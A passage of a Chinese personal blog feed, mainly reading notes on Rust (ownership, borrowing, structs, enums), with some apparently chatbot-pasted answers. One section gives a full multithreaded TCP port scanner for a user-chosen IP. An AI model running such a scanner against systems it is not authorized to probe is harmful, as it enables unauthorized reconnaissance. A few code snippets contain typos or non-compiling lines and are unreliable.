download_pdf(url,title)if __name__ == "__main__": ICML_download()</code></pre><h3 id="下载AAAI-2023"><a href="#下载AAAI-2023" class="headerlink" title="下载AAAI 2023"></a>下载AAAI 2023</h3><p>zotero插件可以直接导入</p><p><a href="https://dblp.uni-trier.de/db/conf/aaai/aaai2023.html">https://dblp.uni-trier.de/db/conf/aaai/aaai2023.html</a></p><h3 id="NIPS没有2023的"><a href="#NIPS没有2023的" class="headerlink" title="NIPS没有2023的"></a>NIPS没有2023的</h3><p><a href="https://proceedings.neurips.cc/paper_files/paper/2022">https://proceedings.neurips.cc/paper_files/paper/2022</a></p><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 写点好玩的 </category>
</categories>
</entry>
<entry>
<title>The Rust Programming Language阅读笔记</title>
<link href="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/"/>
<url>/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="待解决的难点"><a href="#待解决的难点" class="headerlink" title="待解决的难点"></a>待解决的难点</h2><p>操作<a href="https://blog.csdn.net/cfy_banq/article/details/131863274">https://blog.csdn.net/cfy_banq/article/details/131863274</a></p><p>option </p><p>枚举</p><h2 id="困惑点"><a href="#困惑点" class="headerlink" title="困惑点"></a>困惑点</h2><h3 id="1-rust中有所有权的概念,我调用prinln-来输出变量会将变量所有权转给println-吗?"><a href="#1-rust中有所有权的概念,我调用prinln-来输出变量会将变量所有权转给println-吗?" class="headerlink" title="1.rust中有所有权的概念,我调用prinln!来输出变量会将变量所有权转给println!吗?"></a>1.rust中有所有权的概念,我调用prinln!来输出变量会将变量所有权转给println!吗?</h3><p>在 Rust 中,调用 <code>println!</code> 宏并不会转移变量的所有权。这是因为 <code>println!</code> 通常接受一个变量的引用或者是实现了 <code>Copy</code> trait 的类型,而不是变量本身。</p><p>在 Rust 的标准库中,很多类型都实现了 <code>Copy</code> trait,包括所有整数类型、浮点数类型和字符类型等。当一个类型实现了 <code>Copy</code> trait,这意味着在赋值或者函数调用过程中,它的数据会被复制而不是移动,因此其所有权不会被转移。</p><p>对于没有实现 <code>Copy</code> trait 的复杂类型(比如 <code>String</code> 或自定义的结构体和枚举),<code>println!</code> 通常会使用一个不可变引用 <code>&T</code>,这样也不会转移所有权。</p><p>下面是一些例子:</p><pre><code>rustCopy codelet x = 42; // i32 类型,实现了 Copy traitprintln!("x is: {}", x); // 打印 x 的值println!("x is: {}", x); // 因为 i32 是 Copy 的,这里依然可以使用 xlet s = String::from("hello");println!("s is: {}", s); // 使用不可变引用打印 s 的值println!("s is: {}", s); // s 的所有权没有被转移,依然可以使用</code></pre><p>总之,使用 <code>println!</code> 宏并不会转移变量的所有权,所以你可以放心地在后续代码中使用这些变量。</p><h3 id="2-为什么用的是-coin而不是-coin"><a href="#2-为什么用的是-coin而不是-coin" class="headerlink" title="2. 为什么用的是=coin而不是==coin"></a>2. 为什么用的是=coin而不是==coin</h3><pre><code class="rust">if let Coin::Quarter(state) = coin { println!("State quarter from {:?}!", state);} else { count += 1;}</code></pre><p>在 Rust 中,<code>if let</code> 语句用于模式匹配。在这里,<code>=</code> 并不是一个比较运算符(这会是 <code>==</code>);相反,它用于解构和匹配 <code>coin</code> 的值。如果 <code>coin</code> 是 <code>Coin::Quarter(state)</code> 类型,<code>state</code> 将包含 <code>Quarter</code> 的值,并执行大括号内的代码。</p><p>这里是一个简单的解释:</p><ul><li><code>==</code> 是一个比较运算符,用于检查两个值是否相等。</li><li><code>=</code> 是一个赋值运算符,在模式匹配中用于解构值。</li></ul><p>在 <code>if let</code> 表达式中,<code>=</code> 符号的目的是尝试将右侧的 <code>coin</code> 解构为左侧的模式 <code>Coin::Quarter(state)</code>。如果这个尝试成功,那么 <code>state</code> 变量将包含 <code>Quarter</code> 的值,然后执行 <code>if</code> 分支内的代码。</p><p>下面是一个完整的例子,解释了这个过程:</p><pre><code>rustCopy codeenum UsState { Alabama, Alaska, // etc}enum Coin { Penny, Nickel, Dime, Quarter(UsState),}fn main() { let coin = Coin::Quarter(UsState::Alaska); let mut count = 0; if let Coin::Quarter(state) = coin { println!("State quarter from {:?}!", state); } else { count += 1; } println!("Count: {}", count);}</code></pre><p>运行这个程序会输出:</p><pre><code>vbnetCopy codeState quarter from Alaska!Count: 0</code></pre><p>这里 <code>Coin::Quarter(state) = coin</code> 成功匹配,所以 <code>state</code> 被赋值为 <code>UsState::Alaska</code>,并执行了 <code>println!("State quarter from {:?}!", state);</code>。<code>count</code> 没有增加,因为 <code>else</code> 分支没有执行。</p><h3 id="3-在rust中-let-v-vec-1-2-3-4-5-let-third-i32-v-2-这是否意味着v-2-元素的所有权已经给了third"><a href="#3-在rust中-let-v-vec-1-2-3-4-5-let-third-i32-v-2-这是否意味着v-2-元素的所有权已经给了third" class="headerlink" title="3.在rust中,let v = vec![1, 2, 3, 4, 5]; let third: i32 = v[2]; 这是否意味着v[2]元素的所有权已经给了third"></a>3.在rust中,let v = vec![1, 2, 3, 4, 5]; let third: i32 = v[2]; 这是否意味着v[2]元素的所有权已经给了third</h3><p>在Rust中,基本类型(如<code>i32</code>、<code>f64</code>、<code>bool</code>等)是实现了<code>Copy</code> trait的,这意味着当你做类似<code>let third: i32 = v[2];</code>这样的操作时,实际上是把<code>v[2]</code>的值复制到了<code>third</code>变量中,而不是转移所有权。</p><p>对于实现了<code>Copy</code> trait的类型,赋值操作会复制值,而不会转移所有权。因此,在这种情况下,<code>v</code>仍然拥有其所有元素的所有权,<code>third</code>则拥有一个新的、与<code>v[2]</code>相等的值。</p><p>下面是代码:</p><pre><code>rustCopy codelet v = vec![1, 2, 3, 4, 5];let third: i32 = v[2]; // third 现在是 3,而 v[2] 的值并没有改变。</code></pre><p>这里,<code>v</code>的结构和所有权没有受到影响。你之后仍然可以正常使用<code>v</code>和它的元素,包括<code>v[2]</code>。</p><p>需要注意的是,这种行为是基本类型特有的。如果<code>v</code>是一个存储了更复杂类型(比如自定义结构体或枚举)的向量,并且这些类型没有实现<code>Copy</code> trait,那么尝试进行类似的赋值操作会导致编译器错误,除非你显式地使用<code>.clone()</code>方法或其他复制手段。</p><h3 id="多线程为什么字符串切片生命周期短暂"><a href="#多线程为什么字符串切片生命周期短暂" class="headerlink" title="多线程为什么字符串切片生命周期短暂"></a>多线程为什么字符串切片生命周期短暂</h3><p>Rust 中的字符串切片(<code>&str</code>)是对某个字符串数据的不可变引用,它由一个指针和一个长度组成。这个切片实际上没有拥有它所引用的数据,它只是“借用”了这份数据。因此,切片的生命周期总是受到其所引用的原始数据(即字符串字面量、<code>String</code> 对象等)的生命周期的限制。</p><p>考虑下面的代码:</p><pre><code>rustCopy codelet mut target_ip_input = String::new();io::stdin().read_line(&mut target_ip_input).unwrap();let target_ip = target_ip_input.trim_end();</code></pre><p>在这里,<code>target_ip</code> 是一个字符串切片,它是 <code>target_ip_input</code> 的一个部分。它不拥有数据,只是一个指向 <code>target_ip_input</code> 中某个部分的引用。因此,<code>target_ip</code> 的生命周期是受 <code>target_ip_input</code> 的生命周期限制的。</p><p>当你尝试在一个线程中使用 <code>target_ip</code> 时,Rust 的生命周期检查器会发现一个问题。线程可能会在 <code>main()</code> 函数结束后继续运行,而 <code>main()</code> 函数结束时,<code>target_ip_input</code>(以及由其产生的 <code>target_ip</code> 切片)都将被销毁。这意味着线程可能会尝试访问一个已经被销毁的字符串,这是不安全的。</p><p>解决这个问题的一种方法是创建一个新的 <code>String</code> 对象(它拥有其数据)并传递这个对象(或其克隆)给线程。因为这个新的 <code>String</code> 对象拥有其数据,它可以安全地传递给线程,不受原始 <code>String</code> 对象(在这种情况下是 <code>target_ip_input</code>)生命周期的限制。</p><p>这就是为什么将 <code>trim_end()</code> 的返回结果转换为 <code>String</code> 对象可以解决生命周期问题的原因:</p><pre><code>rustCopy codelet target_ip = target_ip_input.trim_end().to_string();</code></pre><p>现在 <code>target_ip</code> 是一个 <code>String</code> 对象,它拥有自己的数据。这样你就可以克隆这个 <code>String</code> 对象,并将克隆传递给线程,而不必担心生命周期问题了。</p><h2 id="猜数小游戏"><a href="#猜数小游戏" class="headerlink" title="猜数小游戏"></a>猜数小游戏</h2><pre><code class="rust">use rand::Rng;use std::cmp::Ordering;use std::io;fn main() { println!("Guess the number!"); //生成一个1~100的随机数 let secret_number = rand::thread_rng().gen_range(1..101); loop { println!("Please input your guess."); let mut guess = String::new(); //读取输入存入guss中 io::stdin() .read_line(&mut guess) .expect("Failed to read line"); //通过match 来尝试将输入的guess转换成int let guess: u32 = match guess.trim().parse() { //.parse()调用成功会返回一个包含结果数字的Ok Ok(num) => num, //调用失败会返回Err Err(_) => continue, }; println!("You guessed: {}", guess); match guess.cmp(&secret_number) { Ordering::Less => println!("Too small!"), Ordering::Greater => println!("Too big!"), Ordering::Equal => { println!("You win!"); break; } } }}</code></pre><h2 id="端口扫描器"><a href="#端口扫描器" class="headerlink" title="端口扫描器"></a>端口扫描器</h2><pre><code class="rust">use std::io::{self, Write};use std::net::TcpStream;use std::thread;fn main() { let mut target_ip = String::new(); print!("请输入要扫描的IP地址: "); io::stdout().flush().unwrap(); // 刷新stdout以立即显示提示 io::stdin().read_line(&mut target_ip); // 端口范围可以按需求更改 let start_port: u16 = 20; let end_port: u16 = 40000; let target_ip = target_ip.trim_end().to_string(); for port in start_port..=end_port { let target_ip = target_ip.clone(); // 用线程执行每个扫描以加速过程 thread::spawn(move || { scan_port(&target_ip, port); }); } // 等待所有线程完成(简单的暂停,更好的方法是使用线程池和任务同步) thread::sleep(std::time::Duration::from_secs(2));}fn scan_port(ip: &str, port: u16) { let ip_port = format!("{}:{}", ip, port); // println!("{}", ip_port); if TcpStream::connect(ip_port).is_ok() { println!("端口 {} 是打开的", port); }}</code></pre><h2 id="Rust基本概念"><a href="#Rust基本概念" class="headerlink" title="Rust基本概念"></a>Rust基本概念</h2><h3 id="1-Rust-的变量默认是不可变的"><a href="#1-Rust-的变量默认是不可变的" class="headerlink" title="1.Rust 的变量默认是不可变的"></a>1.Rust 的变量默认是不可变的</h3><pre><code class="rust">let x =5; x=4; //报错</code></pre><pre><code class="rust">//如果想让变量为可变变量,要加上mut关键字let mut x =5;x=4; //可以</code></pre><h3 id="2-遮蔽"><a href="#2-遮蔽" class="headerlink" title="2.遮蔽"></a>2.遮蔽</h3><p>你可以声明和前面变量具有相同名称的新变量。第一个变量会被第二个变量<strong>遮蔽</strong>(<em>shadow</em>),这意味着当我们使用变量时我们看到的会是第二个变量的值。我们可以通过使用相同的变量名并重复使用 <code>let</code> 关键字来遮蔽变量</p><pre><code class="rust">fn main() { let x = 5; let x = x + 1; { let x = x * 2; println!("The value of x in the inner scope is: {}", x); } println!("The value of x is: {}", x);}</code></pre><h3 id="3-数据类型"><a href="#3-数据类型" class="headerlink" title="3.数据类型"></a>3.数据类型</h3><blockquote><p> 标量类型: 整数、浮点型、布尔型、字符</p></blockquote><pre><code class="rust">let x =5;let y:u8=5; // u8 u16 u32 u64 i8 i16 i32 i664let z=0.4; //默认为f64let a:f32=111;let t = true;let f: bool = false; // with explicit type annotationlet c = 'z'; //Rust 的字符类型大小为 4 个字节,表示的是一个 Unicode 标量值let z = 'ℤ';let heart_eyed_cat = '😻';</code></pre><blockquote><p> 复合类型: Rust有两种基本的复合类型: 元组(tuple) 和数组(array).</p></blockquote><p>元组的长度是固定的:声明后,它们就无法增长或缩小。元组中的每个位置都有一个类型,并且元组中不同值的类型不要求是相同的。</p><pre><code class="rust">let tup: (i32, f64, u8) = (500, 6.4, 1);let (x, y, z) = tup; //直接给xyz赋值let x: (i32, f64, u8) = (500, 6.4, 1);let five_hundred = x.0; //通过.来进行下标访问let six_point_four = x.1;let one = x.2;</code></pre><p>组的每个元素必须具有相同的类型。与某些其他语言中的数组不同,Rust 中的数组具有固定长度。</p><pre><code class="rust">let a = [1, 2, 3, 4, 5];let months = ["January", "February", "March"];let first = a[0];//通过下标访问数组成员let second = a[1];</code></pre><h3 id="4-函数"><a href="#4-函数" class="headerlink" title="4.函数"></a>4.函数</h3><pre><code class="rust">fn main() { let a = [1, 2, 3, 4, 5]; let result:u8=add(a[1],a[2]); println!("{}",result);}fn add(x:u8,y:u8) -> u8{ return x+y;}</code></pre><p>通过元组可以返回多个值</p><pre><code class="rust">fn main() { let s1 = String::from("hello"); let (s2, len) = calculate_length(s1); println!("The length of '{}' is {}.", s2, len);}fn calculate_length(s: String) -> (String, usize) { let length = s.len(); // len() 返回字符串的长度 (s, length)}</code></pre><h3 id="5-控制流"><a href="#5-控制流" class="headerlink" title="5.控制流"></a>5.控制流</h3><blockquote><p> 条件if</p></blockquote><pre><code class="rust">fn main() { let number = 6; if number % 4 == 0 { println!("number is divisible by 4"); } else if number % 3 == 0 { println!("number is divisible by 3"); } else if number % 2 == 0 { println!("number is divisible by 2"); } else { println!("number is not divisible by 4, 3, or 2"); }}</code></pre><blockquote><p>循环loop</p></blockquote><pre><code class="rust">fn main() { let mut count = 0; 'counting_up: loop { //couting_up是一个标签 println!("count = {}", count); let mut remaining = 10; loop { println!("remaining = {}", remaining); if remaining == 9 { break; } if count == 2 { break 'counting_up; } remaining -= 1; } count += 1; } println!("End count = {}", count);}</code></pre><blockquote><p>while</p></blockquote><pre><code class="rust"> while index < 5 { println!("the value is: {}", a[index]); index += 1; }</code></pre><blockquote><p>for in </p></blockquote><pre><code class="rust">fn main() { let a = [10, 20, 30, 40, 50]; for element in a { println!("the value is: {}", element); }}</code></pre><h2 id="进阶-所有权"><a href="#进阶-所有权" class="headerlink" title="进阶-所有权"></a>进阶-所有权</h2><h3 id="1-所有权"><a href="#1-所有权" class="headerlink" title="1.所有权"></a>1.所有权</h3><ul><li>Rust 中的每一个值都有一个被称为其 <strong>所有者</strong>(<em>owner</em>)的变量。</li><li>值在任一时刻有且只有一个所有者。</li><li>当所有者(变量)离开作用域,这个值将被丢弃。</li></ul><h3 id="2-作用域"><a href="#2-作用域" class="headerlink" title="2.作用域"></a>2.作用域</h3><pre><code class="rust"> { // s 在这里无效, 它尚未声明 let s = "hello"; // 从此处起,s 开始有效 // 使用 s } // 此作用域已结束,s 不再有效</code></pre><p>当 <code>s</code> 离开作用域的时候。当变量离开作用域,Rust 为我们调用一个特殊的函数。这个函数叫做 <a href="https://rustwiki.org/zh-CN/std/ops/trait.Drop.html#tymethod.drop"><code>drop</code></a>,在这里 <code>String</code> 的作者可以放置释放内存的代码。Rust 在结尾的 <code>}</code> 处自动调用 <code>drop</code></p><h3 id="3-变量与数据的交互方式-一-移动"><a href="#3-变量与数据的交互方式-一-移动" class="headerlink" title="3.变量与数据的交互方式(一)移动"></a>3.变量与数据的交互方式(一)移动</h3><p>对于堆中的数据,采用深度拷贝会降低性能,rust将原变量直接无效。</p><pre><code class="rust"> let s1 = String::from("hello"); let s2 = s1;</code></pre><p><img src="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/image-20230909192926044.png" alt="image-20230909192926044"></p><p>例子可以解读为 <code>s1</code> 被 <strong>移动</strong> 到了 <code>s2</code> 中,此时变量s1已经无效了。</p><h3 id="4-变量和数据的交互方式-2-克隆"><a href="#4-变量和数据的交互方式-2-克隆" class="headerlink" title="4.变量和数据的交互方式(2): 克隆"></a>4.变量和数据的交互方式(2): 克隆</h3><pre><code class="rust"> let s1 = String::from("hello"); let s2 = s1.clone(); println!("s1 = {}, s2 = {}", s1, s2);</code></pre><h3 id="5-所有权与函数"><a href="#5-所有权与函数" class="headerlink" title="5.所有权与函数"></a>5.所有权与函数</h3><pre><code class="rust">fn main() { let s = String::from("hello"); // s 进入作用域 takes_ownership(s); // s 的值移动到函数里 ... // ... 所以到这里不再有效 let x = 5; // x 进入作用域 makes_copy(x); // x 应该移动函数里, // 但 i32 是 Copy 的,所以在后面可继续使用 x} // 这里, x 先移出了作用域,然后是 s。但因为 s 的值已被移走, // 所以不会有特殊操作fn takes_ownership(some_string: String) { // some_string 进入作用域 println!("{}", some_string);} // 这里,some_string 移出作用域并调用 `drop` 方法。占用的内存被释放fn makes_copy(some_integer: i32) { // some_integer 进入作用域 println!("{}", some_integer);} // 这里,some_integer 移出作用域。不会有特殊操作</code></pre><p>函数通过返回值可以返回所有权</p><pre><code class="rust">fn main() { let s1 = gives_ownership(); // gives_ownership 将返回值 // 移给 s1 let s2 = String::from("hello"); // s2 进入作用域 let s3 = takes_and_gives_back(s2); // s2 被移动到 // takes_and_gives_back 中, // 它也将返回值移给 s3} // 这里, s3 移出作用域并被丢弃。s2 也移出作用域,但已被移走, // 所以什么也不会发生。s1 移出作用域并被丢弃fn gives_ownership() -> String { // gives_ownership 将返回值移动给 // 调用它的函数 let some_string = String::from("yours"); // some_string 进入作用域 some_string // 返回 some_string 并移出给调用的函数}// takes_and_gives_back 将传入字符串并返回该值fn takes_and_gives_back(a_string: String) -> String { // a_string 进入作用域 a_string // 返回 a_string 并移出给调用的函数}</code></pre><h3 id="6-引用与借用"><a href="#6-引用与借用" class="headerlink" title="6.引用与借用"></a>6.引用与借用</h3><pre><code class="rust">fn main() { let s1 = String::from("hello"); let len = calculate_length(&s1); println!("The length of '{}' is {}.", s1, len);}fn calculate_length(s: &String) -> usize { s.len()}</code></pre><p><img src="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/image-20230909193951382.png" alt="image-20230909193951382"></p><p>修改引用指向的值(可变引用 &mut)</p><pre><code class="rust">fn main() { let mut s = String::from("hello"); change(&mut s);}fn change(some_string: &mut String) { some_string.push_str(", world");}</code></pre><p>首先,我们必须将 <code>s</code> 改为 <code>mut</code>。然后必须在调用 <code>change</code> 函数的地方创建一个可变引用 <code>&mut s</code>,并更新函数签名以接受一个可变引用 <code>some_string: &mut String</code>。这就非常清楚地表明,<code>change</code> 函数将改变它所借用的值。</p><p>不过<strong>可变引用</strong>有一个很大的限制:<strong>在同一时间</strong>,只能有一个对某一特定数据的可变引用。尝试创建两个可变引用的代码将会失败:</p><p><img src="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/image-20230909194209032.png" alt="image-20230909194209032"></p><p>这个限制的好处是 Rust 可以在编译时就避免数据竞争。<strong>数据竞争</strong>(<em>data race</em>)类似于竞态条件,它由这三个行为造成:</p><ul><li>两个或更多指针同时访问同一数据。</li><li>至少有一个指针被用来写入数据。</li><li>没有同步数据访问的机制。</li></ul><pre><code class="rust">fn main() { let mut s = String::from("hello"); let r1 = &s; // 没问题 let r2 = &s; // 没问题 let r3 = &mut s; // 大问题 println!("{}, {}, and {}", r1, r2, r3);//这里r1 r2在声明r3后使用了,所以会导致编译不通过}fn main() { let mut s = String::from("hello"); let r1 = &s; // 没问题 let r2 = &s; // 没问题 println!("{}, {}, and", r1, r2); let r3 = &mut s; // 没问题,因为后续的代码中,r1 r2都没有被使用。}</code></pre><h3 id="7-悬垂引用"><a href="#7-悬垂引用" class="headerlink" title="7.悬垂引用"></a>7.悬垂引用</h3><p>在具有指针的语言中,很容易通过释放内存时保留指向它的指针而错误地生成一个 <strong>悬垂指针</strong>(<em>dangling pointer</em>),所谓悬垂指针是其指向的内存可能已经被分配给其它持有者。相比之下,在 Rust 中编译器确保引用永远也不会变成悬垂状态:当你拥有一些数据的引用,编译器确保数据不会在其引用之前离开作用域。</p><p>让我们尝试创建一个悬垂引用,Rust 会通过一个编译时错误来避免:</p><pre><code class="rust">fn main() { let reference_to_nothing = dangle();}fn dangle() -> &String { // dangle 返回一个字符串的引用 let s = String::from("hello"); // s 是一个新字符串 &s // 返回字符串 s 的引用} // 这里 s 离开作用域并被丢弃。其内存被释放。 // 危险!</code></pre><p>解决方法</p><pre><code class="rust">fn no_dangle() -> String { let s = String::from("hello"); s}//这样就没有任何错误了。所有权被移动出去,所以没有值被释放。</code></pre><h3 id="8-切片slice"><a href="#8-切片slice" class="headerlink" title="8.切片slice"></a>8.切片slice</h3><p>引用、切片都没有所有权</p><p><strong>字符串 slice</strong>(<em>string slice</em>)是 <code>String</code> 中一部分值的引用,它看起来像这样:</p><pre><code class="rust"> let s = String::from("hello world"); let hello = &s[0..5]; let world = &s[6..11];</code></pre><p>这类似于引用整个 <code>String</code> 不过带有额外的 <code>[0..5]</code> 部分。它不是对整个 <code>String</code> 的引用,而是对部分 <code>String</code> 的引用。</p><p><img src="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/image-20230909200838308.png" alt="image-20230909200838308"></p><p>字符串切片类型为&str ,这种特殊的引用</p><h2 id="进阶-结构体"><a href="#进阶-结构体" class="headerlink" title="进阶-结构体"></a>进阶-结构体</h2><p><em>struct</em>,或者 <em>structure</em>,是一个自定义数据类型,允许你命名和包装多个相关的值,从而形成一个有意义的组合。如果你熟悉一门面向对象语言,<em>struct</em> 就像对象中的数据属性。</p><pre><code class="rust">struct User { active: bool, username: String, email: String, sign_in_count: u64,}fn main() { let mut user1 = User { email: String::from("[email protected]"), username: String::from("someusername123"), active: true, sign_in_count: 1, }; user1.email = String::from("[email protected]");}</code></pre><p>注意整个实例必须是可变的;Rust 并不允许只将某个字段标记为可变。另外需要注意同其他任何表达式一样,我们可以在函数体的最后一个表达式中构造一个结构体的新实例,来隐式地返回这个实例。</p><pre><code class="rust">fn build_user(email: String, username: String) -> User { User { email, username, active: true, sign_in_count: 1, }}</code></pre><h3 id="1-从其他实例中创建新的结构体实例"><a href="#1-从其他实例中创建新的结构体实例" class="headerlink" title="1.从其他实例中创建新的结构体实例"></a>1.从其他实例中创建新的结构体实例</h3><p>方式1 :</p><pre><code class="rust"> let user2 = User { active: user1.active, username: user1.username, email: String::from("[email protected]"), sign_in_count: user1.sign_in_count, };</code></pre><p>方式2:</p><pre><code class="rust"> let user2 = User { email: String::from("[email protected]"), ..user1 //复制user1中除了email外的值 };</code></pre><p>在这个例子中,我们在创建 <code>user2</code> 后不能再使用 <code>user1</code>,因为 <code>user1</code> 的 <code>username</code> 字段中的 <code>String</code> 被移到 <code>user2</code> 中。如果我们给 <code>user2</code> 的 <code>email</code> 和 <code>username</code> 都赋予新的 <code>String</code> 值,从而只使用 <code>user1</code> 的 <code>active</code> 和 <code>sign_in_count</code> 值,那么 <code>user1</code> 在创建 <code>user2</code> 后仍然有效。<code>active</code> 和 <code>sign_in_count</code> 的类型是实现 <code>Copy</code> trait 的类型</p><h3 id="2-结构体数据的声明周期"><a href="#2-结构体数据的声明周期" class="headerlink" title="2.结构体数据的声明周期"></a>2.结构体数据的声明周期</h3><p><code>User</code> 结构体的定义中,我们使用了自身拥有所有权的 <code>String</code> 类型而不是 <code>&str</code> 字符串 slice 类型。这是一个有意而为之的选择,因为我们想要这个结构体拥有它所有的数据,为此只要整个结构体是有效的话其数据也是有效的。</p><p>可以使结构体存储被其他对象拥有的数据的引用,不过这么做的话需要用上<strong>生命周期</strong>(<em>lifetime</em>)。生命周期确保结构体引用的数据有效性跟结构体本身保持一致。</p><h3 id="3-通过派生trait增加实用的功能"><a href="#3-通过派生trait增加实用的功能" class="headerlink" title="3.通过派生trait增加实用的功能"></a>3.通过派生trait增加实用的功能</h3><p>如下代码会报错</p><pre><code class="rust">#[derive(Debug)]//通过 derive 属性来使用的 traitstruct Rectangle { width: u32, height: u32,}fn main() { let scale = 2; let rect1 = Rectangle { width: dbg!(30 * scale), height: 50, }; dbg!(&rect1);}</code></pre><p>一种使用 <code>Debug</code> 格式打印数值的方法是使用 <a href="https://rustwiki.org/zh-CN/std/macro.dbg.html"><code>dbg!</code> 宏</a>。<code>dbg!</code> 宏接收一个表达式的所有权,打印出代码中调用 <code>dbg!</code> 宏时所在的文件和行号,以及该表达式的结果值,并返回该值的所有权</p><h3 id="4-方法"><a href="#4-方法" class="headerlink" title="4.方法"></a>4.方法</h3><p><strong>方法</strong> 与函数类似:它们使用 <code>fn</code> 关键字和名称声明,可以拥有参数和返回值,同时包含在某处调用该方法时会执行的代码。不过方法与函数是不同的,因为它们在结构体的上下文中被定义,并且它们第一个参数总是 <code>self</code>,它代表调用该方法的结构体实例。</p><pre><code class="rust">文件名: src/main.rs#[derive(Debug)]struct Rectangle { width: u32, height: u32,}impl Rectangle { fn area(&self) -> u32 { self.width * self.height }}fn main() { let rect1 = Rectangle { width: 30, height: 50, }; println!( "The area of the rectangle is {} square pixels.", rect1.area() );}</code></pre><p>这里选择 <code>&self</code> 的理由跟在函数版本中使用 <code>&Rectangle</code> 是相同的:我们并不想获取所有权,只希望能够读取结构体中的数据,而不是写入。如果想要在方法中改变调用方法的实例,需要将第一个参数改为 <code>&mut self</code>。通过仅仅使用 <code>self</code> 作为第一个参数来使方法获取实例的所有权是很少见的;这种技术通常用在当方法将 <code>self</code> 转换成别的实例的时候,这时我们想要防止调用者在转换之后使用原始的实例。</p><p>我们可以选择将方法的名称与结构中的一个字段相同。在 <code>main</code> 中,当我们在 <code>rect1.width</code> 后面加上括号时。Rust 知道我们指的是方法 <code>width</code>。当我们不使用圆括号时,Rust 知道我们指的是字段 <code>width</code>。</p><blockquote><p>带有更多参数的方法</p></blockquote><pre><code class="rust">impl Rectangle { fn area(&self) -> u32 { self.width * self.height } fn can_hold(&self, other: &Rectangle) -> bool { self.width > other.width && self.height > other.height }}</code></pre><blockquote><p>关联函数</p></blockquote><p>所有在 <code>impl</code> 块中定义的函数被称为<strong>关联函数</strong>(<em>associated function</em>),因为它们与 <code>impl</code> 后面命名的类型相关。我们可以定义不以 <code>self</code> 为第一参数的关联函数(因此不是方法),因为它们并不作用于一个结构体的实例。我们已经使用了一个这样的函数,<code>String::from</code> 函数,它是在 <code>String</code> 类型上定义的。</p><p>关联函数经常被用作返回一个结构体新实例的构造函数。例如我们可以提供一个关联函数,它接受一个维度参数并且同时作为宽和高,这样可以更轻松的创建一个正方形 <code>Rectangle</code> 而不必指定两次同样的值:</p><p>文件名: src/main.rs</p><pre><code class="rust">impl Rectangle { fn square(size: u32) -> Rectangle { Rectangle { width: size, height: size, } }}</code></pre><p>使用结构体名和 <code>::</code> 语法来调用这个关联函数:比如 <code>let sq = Rectangle::square(3);</code>。这个方法位于结构体的命名空间中:<code>::</code> 语法用于关联函数和模块创建的命名空间。第 7 章会讲到模块。</p><h2 id="进阶-枚举和模式匹配"><a href="#进阶-枚举和模式匹配" class="headerlink" title="进阶-枚举和模式匹配"></a>进阶-枚举和模式匹配</h2><h3 id="1-枚举类型"><a href="#1-枚举类型" class="headerlink" title="1.枚举类型"></a>1.枚举类型</h3><p>一个简单的例子: 任何一个 IP 地址要么是 IPv4 的要么是 IPv6 的,而且不能两者都是。IP 地址的这个特性使得枚举数据结构非常适合这个场景,因为枚举值只可能是<strong>其中一个成员</strong>.</p><pre><code class="rust">enum IpAddrKind { V4, V6,}struct IpAddr { kind: IpAddrKind, address: String,}let home = IpAddr { kind: IpAddrKind::V4, address: String::from("127.0.0.1"),};let loopback = IpAddr { kind: IpAddrKind::V6, address: String::from("::1"),};</code></pre><p>注意枚举的成员位于其标识符的命名空间中,并使用两个冒号分开。这么设计的益处是现在 <code>IpAddrKind::V4</code> 和 <code>IpAddrKind::V6</code> 都是 <code>IpAddrKind</code> 类型的。例如,接着可以定义一个函数来获取任何 <code>IpAddrKind</code>:</p><pre><code class="rust">fn route(ip_type: IpAddrKind) { }</code></pre><p>现在可以使用任一成员来调用这个函数:</p><pre><code class="rust">route(IpAddrKind::V4);route(IpAddrKind::V6);</code></pre><p>我们可以使用一种更简洁的方式来表达相同的概念,仅仅使用枚举并将数据直接放进每一个枚举成员而不是将枚举作为结构体的一部分。<code>IpAddr</code> 枚举的新定义表明了 <code>V4</code> 和 <code>V6</code> 成员都关联了 <code>String</code> 值:</p><pre><code class="rust">enum IpAddr { V4(String), V6(String),}let home = IpAddr::V4(String::from("127.0.0.1"));let loopback = IpAddr::V6(String::from("::1"));</code></pre><p>用枚举替代结构体还有另一个优势:每个成员可以处理不同类型和数量的数据。IPv4 版本的 IP 地址总是含有四个值在 0 和 255 之间的数字部分。如果我们想要将 <code>V4</code> 地址存储为四个 <code>u8</code> 值而 <code>V6</code> 地址仍然表现为一个 <code>String</code>,这就不能使用结构体了。枚举则可以轻易地处理这个情况:</p><pre><code class="rust">enum IpAddr { V4(u8, u8, u8, u8), V6(String),}let home = IpAddr::V4(127, 0, 0, 1);let loopback = IpAddr::V6(String::from("::1"));</code></pre><h3 id="2-Option-枚举和其相对于空值的优势"><a href="#2-Option-枚举和其相对于空值的优势" class="headerlink" title="2. Option 枚举和其相对于空值的优势"></a>2. Option 枚举和其相对于空值的优势</h3><pre><code class="rust">enum Option<T> { Some(T), None,}</code></pre><p>为了拥有一个可能为空的值,你必须要显式地将其放入对应类型的 <code>Option<T></code> 中。接着,当使用这个值时,必须明确地处理值为空的情况。只要一个值不是 <code>Option<T></code> 类型,你就 <strong>可以</strong> 安全地认定它的值不为空。这是 Rust 的一个经过深思熟虑的设计决策,来限制空值的泛滥以增加 